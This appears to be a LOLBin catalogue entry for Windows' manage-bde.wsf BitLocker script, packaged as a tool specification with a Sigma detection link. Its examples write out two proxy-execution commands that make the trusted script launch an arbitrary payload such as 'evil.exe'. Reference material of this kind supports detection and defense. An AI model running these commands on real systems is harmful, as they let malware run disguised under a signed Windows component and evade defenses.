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manage-bde

Script for managing BitLocker Located at: C:\Windows\System32\manage-bde.wsf.

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manage-bde
manage-bde

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Set the comspec variable to another executable prior to calling manage-bde.wsf for execution. (Proxy execution from script)

set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf

Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file. (Proxy execution from script)

copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml
ioc Manage-bde.wsf should not be invoked by a standard user under normal situations

Documentation

manage-bde

manage-bde is a Windows LOLBin. Script for managing BitLocker Located at: C:\Windows\System32\manage-bde.wsf.

References